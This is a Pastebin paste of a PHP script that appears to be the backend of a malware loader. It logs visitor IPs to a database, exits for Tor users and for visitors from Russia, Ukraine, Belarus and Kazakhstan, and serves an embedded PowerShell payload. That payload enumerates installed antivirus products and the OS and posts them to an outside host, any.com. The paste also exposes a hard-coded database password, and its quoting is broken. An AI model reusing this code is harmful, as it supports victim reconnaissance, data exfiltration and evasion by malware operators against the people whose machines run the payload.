Advertisement
setty7

Untitled

Jan 10th, 2019
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.77 KB | None | 0 0
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5.  
  6.  
  7. //echo "script start ";
  8.  
  9. require 'vendor/autoload.php';
  10. require_once 'TorDetect.php';
  11. use GeoIp2\Database\Reader;
  12.  
  13.  
  14.  
  15.  
  16. $url = "$wmiQuery = "SELECT * FROM AntiVirusProduct"
  17. $AntivirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Query $wmiQuery  @psboundparameters        
  18. [array]$AntivirusNames = $AntivirusProduct.displayName
  19. $av=""      
  20. if($AntivirusNames.Count -eq 0){
  21.     $av="Anti-Virus is NOT installed!"
  22. }else{
  23.     foreach($name in $AntivirusNames){
  24.         $av+="$name , "
  25.     }
  26. }
  27. $webclient = New-Object System.Net.WebClient   
  28. $postParams=New-Object Collections.Specialized.NameValueCollection
  29. $postParams.Add("os",(Get-WmiObject -class Win32_OperatingSystem).Caption)
  30. $postParams.Add("av","$av")
  31. $result=[System.Text.Encoding]::ASCII.GetString($webclient.UploadValues("http://any.com/any.php",$postParams))
  32. $postParams["os"]
  33. $postParams["av"]
  34. $result
  35.  
  36. ";
  37. $host = 'localhost';
  38. $db   = 'cpp_loader_ca';
  39. $user = 'root';
  40. $pass = 'B92fueo6aU';
  41. $charset = 'utf8';
  42.  
  43. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  44. $opt = [
  45.    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
  46.    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  47.    PDO::ATTR_EMULATE_PREPARES   => false,
  48. ];
  49. $pdo = new PDO($dsn, $user, $pass, $opt);
  50.  
  51. $ip = getIP();
  52.  
  53. if (strpos($ip, ',') !== false) {
  54.   $ip_arr = explode(",", $ip);
  55.   $ip = $ip_arr[0];
  56.  
  57. }
  58.  
  59. if($ip == "67.137.36.66")
  60. {exit;}
  61.  
  62.  
  63. $sng_codes = [
  64. 'RU',
  65. 'UA',
  66. 'BY',
  67. 'KZ'
  68. ];
  69.  
  70.  
  71.  
  72. $instance = \TorDetect\TorDetect::getInstance();
  73.  
  74.  
  75. //$host= gethostname(); $serv_ip = gethostbyname($host);
  76.  
  77. //$is_tor = $tor_detector->check($ip, 80, $serv_ip);
  78.  
  79.  
  80.  
  81.  
  82.  
  83. //echo "tor check start ";
  84. $is_tor = $instance->isTorActive();
  85.  
  86.  
  87. //echo "tor check end ";
  88.  
  89. try{
  90.  
  91. $reader = new Reader('GeoIP2-City.mmdb');
  92.  
  93. $record = $reader->city($ip);
  94. $country = $record->country->name;
  95. $cc  =   $record->country->isoCode;
  96. //add to db info
  97.  
  98. }
  99. catch (GeoIp2\Exception\AddressNotFoundException $e ){
  100. $country = "Not found";
  101. $cc = "NotF";
  102. }
  103.  
  104. //echo "sng check start ";
  105. if(in_array($cc, $sng_codes))
  106. {
  107.     exit;
  108. }
  109. //echo "sng check end ";
  110. $date = date('Y-m-d H:i:s');
  111. $q =  $pdo->prepare('insert into `hits` (ip, country, date) values (:ip, :country, :date) ');
  112.            $q->bindParam(':ip', $ip);
  113.             $q->bindParam(':country', $country);
  114.             $q->bindParam(':date', $date);
  115.            $q->execute();
  116.             echo "";
  117. echo $url;
  118.  
  119.  
  120.  
  121.  
  122. function getIP()
  123. {
  124.    if (isset($_SERVER["HTTP_X_REAL_IP"]))
  125.        return $_SERVER["HTTP_X_REAL_IP"];
  126.    else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  127.        return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  128.    return $_SERVER['REMOTE_ADDR'];
  129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement